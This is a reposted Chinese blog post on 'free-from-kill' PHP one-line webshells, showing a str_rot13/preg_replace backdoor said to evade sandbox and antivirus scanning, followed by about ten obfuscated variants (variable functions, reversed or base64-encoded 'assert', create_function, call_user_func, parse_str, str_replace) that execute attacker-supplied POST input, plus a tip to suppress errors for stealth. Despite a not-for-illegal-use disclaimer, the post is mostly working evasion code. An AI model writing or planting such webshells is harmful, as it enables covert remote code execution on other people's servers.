ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

小马的免杀

2021-04-12 13:02:24  阅读:335  来源: 互联网

标签:小马 免杀 preg replace 参数 str php 函数


一般的php一句话后门很容易被网站防火墙waf拦截,而waf通常通过判断关键字来辨别一句话木马,要想绕过waf就需要对木马进行一些变形。(仅供分享经验,不可用作非法用途)
图片来源

在这里插入图片描述

一.先看一只有趣的小马

<?php ($b4dboy = $_POST['b4dboy']) &&@preg_replace('/ad/e','@'.str_rot13('riny')."($b4dboy)", 'add'); ?>

沙箱检测它是安全文件
在这里插入图片描述
用D盾查杀只是发现可以的str_rot13函数且级别只是1
在这里插入图片描述
在线检测了,免杀还是很不错的,用各种查杀软件 只有安全狗能查杀出来

小马的介绍

能过这么多杀软主要是因为利用了str_rot13函数,str_rot13(‘riny’)输出为eval,还有一个利用了preg_replace 函数,该函数结构如下

preg_replace ( mixed pattern, mixed replacement,mixed subject[, int limit])

/e修正符使preg_replace()将replacement参数当作PHP代码来执行,要保证replacement构成一个合法的PHP代码字符串,该正则在被正确的匹配到后,传入的string被当做函数来运行。
测试发现该后门可用于php版本5.3、5.4;
PHP 5.5.0起,传入"\e”修饰符的时候,会产生一个E_DEPRECATED 错误;PHP 7.0.0 起,会有E_WARNING错误,同时"\e”也无法起效。

二.马的变形

可以把webshell放在函数库文件中或者图片马中
图片马的制作:点这里

php变量

<?php 
$a = "assert";
$a(@$_POST['shell']); 
?>

第三行使用了变量函数$a,变量储存了函数名assert,便可以直接用变量替代函数名。

php变量简单变形1

<?php  
$a="TR"."Es"."sA";  
$b=strtolower($a);  
$c=strrev($b);  
@$c($_POST['shell']);  
?>

使用字符串拼接、大小写混淆、字符串逆序组合而成
strtolower() 函数把字符串转换为小写。
strrev() 函数反转字符串。

自定义函数

<?php  
function fun($a){  
    @eval($a);  
}  
@fun($_POST['shell']);  
?>

使用function自定义函数,然后函数来调用eval函数

create_function函数

<?php 
$fun = create_function('',$_POST['shell']);
$fun();
?>

创建了一个匿名函数,并返回了一个独一无二的函数名,然后再调用此函数

call_user_func()函数

<?php
@call_user_func(assert,$_POST['shell']);
?>

call_user_func()函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数

base64_decode 函数

<?php   
$a=base64_decode("YXNzZXJ0");  
@a($_POST['shell']);  
?>

YXNzZXJ0是assert的base64编码,base64_decode()是base64解密函数

preg_replace函数

<?php   
    function fun(){  
        return $_POST['shell'];  
    }  
    @preg_replace("/test/e", fun(), "test123");  
?>

preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。

pares_str函数

<?php
$str="a=eval";
parse_str($str);
$a($_POST['shell']);
?>

执行pares_str函数后可以生成一个名为$a,值为"eval"的变量。

str_replace函数

<?php 
$a = str_replace("test", "", "astestsert");
$a($_POST['shell']);
?>

此函数用于将第三个参数中的第一个参数替换为第二个参数

以上的POST也可替换成GET,但同时shell的传递方式也要改为GET形式,在使用一句话木马时,也可以在前面加一个@来屏蔽错误,增加其隐蔽性。

标签:小马,免杀,preg,replace,参数,str,php,函数
来源: https://blog.csdn.net/weixin_46789316/article/details/115614922

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有